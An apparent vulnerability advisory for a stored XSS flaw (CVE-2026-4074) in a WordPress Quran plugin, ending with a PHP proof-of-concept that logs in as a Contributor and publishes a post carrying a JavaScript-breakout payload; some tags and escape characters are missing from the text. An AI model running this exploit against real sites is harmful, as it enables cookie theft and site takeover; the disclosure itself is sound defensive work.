Atomic Edge analysis of CVE-2026-4074 (metadata-based): This is a stored cross-site scripting vulnerability in the Quran Live Multilanguage plugin for WordPress, affecting all versions up to and including 1.0.3. The vulnerability lives in the ‘cheikh’ and ‘lang’ shortcode attributes, which are neither sanitized (before storage, i.e., before the shortcode is parsed) nor escaped (before output) when the plugin renders them inside JavaScript blocks. An attacker with Contributor-level access or higher can create or edit a post containing the vulnerable shortcode and inject arbitrary JavaScript code. The official CVSS score is 6.4, which reflects a medium-high severity, though the impact within a WordPress context (session hijacking, defacement, credential theft) can be severe for site visitors and administrators.
Root Cause: The description attributes the root cause to the quran_live_render() function in quran-live.php, which calls shortcode_atts() and extract() on user-supplied shortcode attributes without sanitizing them. These unsanitized values are then passed to Render_Quran_Live::render_verse_quran_live() in Class_QuranLive.php, where atomic edge analysis infers that they are echoed directly inside tags using PHP short open tags (, ) at lines 191, 216, 217, 245, and 246. Since the output appears inside a JavaScript context (within tags), an attacker can break out of the string assignment and execute arbitrary JavaScript. This is a classic improper neutralization of input during web page generation (CWE-79). Because no code diff or plugin source is available, atomic edge research cannot confirm the exact line numbers or variable names, but the description is sufficiently detailed to reconstruct the vulnerable pattern.
Exploitation: An authenticated attacker with Contributor-level access or higher crafts a WordPress post or page containing the Quran Live shortcode. The shortcode likely looks like [quran_live cheikh=”PAYLOAD” lang=”PAYLOAD”] or similar. The attacker sets either the ‘cheikh’ or ‘lang’ attribute to a payload that terminates the JavaScript string and injects arbitrary code. For example, the payload could be something like “; alert(1); var x=”. The attacker then publishes or saves the post. When any user (including administrators) views the post, the injected JavaScript executes in their browser. The attack vector is purely a POST request to create or edit a post via /wp-admin/post-new.php or /wp-admin/post.php, with the shortcode embedded in the post content. The vulnerability does not require a specific AJAX action or REST endpoint; it exploits the WordPress shortcode processing mechanism directly.
Remediation: The plugin author must implement input sanitization when processing shortcode attributes, and output escaping when rendering them. Specifically, the quran_live_render() function should run WordPress sanitization functions like sanitize_text_field() on the ‘cheikh’ and ‘lang’ attributes before any processing. The rendering function should use JavaScript-safe output escaping: for variables that must appear inside blocks, the plugin should use json_encode() or wp_json_encode() to ensure the value is a valid JavaScript string literal. Alternatively, the plugin could output the variables as HTML data attributes and read them via JavaScript’s textContent, avoiding inline injection entirely. Since no patched version has been released, site administrators should disable or delete the Quran Live Multilanguage plugin until a fix is available.
Impact: Successful exploitation allows an authenticated attacker (Contributor+) to inject arbitrary JavaScript into any page that renders the Quran Live shortcode. This stored XSS can be used to steal administrator session cookies, which enables full site takeover; to redirect users to malicious sites; to perform actions on behalf of the victim (e.g., creating new admin users); or to deface the site. The CVSS scope changed (S:C) means the injected script executes in a different security context than the vulnerable component, which often increases the potential impact. Site visitors are the primary victims, but an attacker can also target higher-privileged users who view the injected content.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4074 - Quran Live Multilanguage <= 1.0.3 - Authenticated (Contributor+) Stored XSS via Shortcode Attributes
$target_url = 'http://example.com'; // Change this to the target WordPress site
$username = 'contributor'; // Change to a valid WordPress user with Contributor+ access
$password = 'password'; // Change to the user's password
// Step 1: Login to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve_2026_4074.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code !== 302 && $http_code !== 200) {
die("Login failed. HTTP code: $http_coden");
}
curl_close($ch);
// Step 2: Get the _wpnonce for post creation by fetching the new post page
$new_post_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $new_post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_2026_4074.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Extract the _wpnonce for post creation (looks like: name="_wpnonce" value="...")
preg_match('/<input[^>]*name="_wpnonce"[^>]*value="([^"]+)"[^>]*>/i', $response, $nonce_matches);
if (empty($nonce_matches[1])) {
// Try alternative pattern for WordPress nonce
preg_match('/id="_wpnonce"[^>]*value="([^"]+)"/i', $response, $nonce_matches);
}
$nonce = isset($nonce_matches[1]) ? $nonce_matches[1] : '';
// Also extract the post_type and other hidden fields from the form
preg_match('/<input[^>]*name="post_type"[^>]*value="([^"]+)"/i', $response, $post_type_matches);
$post_type = isset($post_type_matches[1]) ? $post_type_matches[1] : 'post';
// Step 3: Create a new post with the malicious shortcode
// The shortcode attribute payload breaks out of the JavaScript string and calls alert
$payload = '";alert(/CVE-2026-4074/);var x="';
$post_content = '[quran_live cheikh="' . $payload . '" lang="fr"] TEST [/quran_live]';
$post_url = $target_url . '/wp-admin/post.php';
$post_data = [
'_wpnonce' => $nonce,
'action' => 'editpost',
'post_type' => $post_type,
'post_title' => 'CVE-2026-4074 PoC',
'content' => $post_content,
'post_status' => 'publish',
'original_post_status' => 'auto-draft',
'autosavenonce' => '',
'meta-box-order-nonce' => '',
'closedpostboxesnonce' => '',
'hidden_post_status' => 'draft',
'post_author' => 1,
'user_ID' => 1
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_2026_4074.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 200 || $http_code === 302) {
// Try to find the new post URL in the response or from the redirect
preg_match('/&post=([0-9]+)/', $response, $post_id_matches);
$post_id = isset($post_id_matches[1]) ? $post_id_matches[1] : 'unknown';
echo "Exploit post created successfully. Post ID: $post_idn";
echo "Visit $target_url/?p=$post_id to trigger the XSS.n";
echo "Alternatively, visit the post in the WordPress admin dashboard.n";
echo "The injected shortcode uses payload: $payloadn";
} else {
echo "Failed to create post. HTTP code: $http_coden";
echo "Response may contain: " . substr($response, 0, 500) . "n";
}
// Cleanup cookie file
unlink('/tmp/cookies_cve_2026_4074.txt');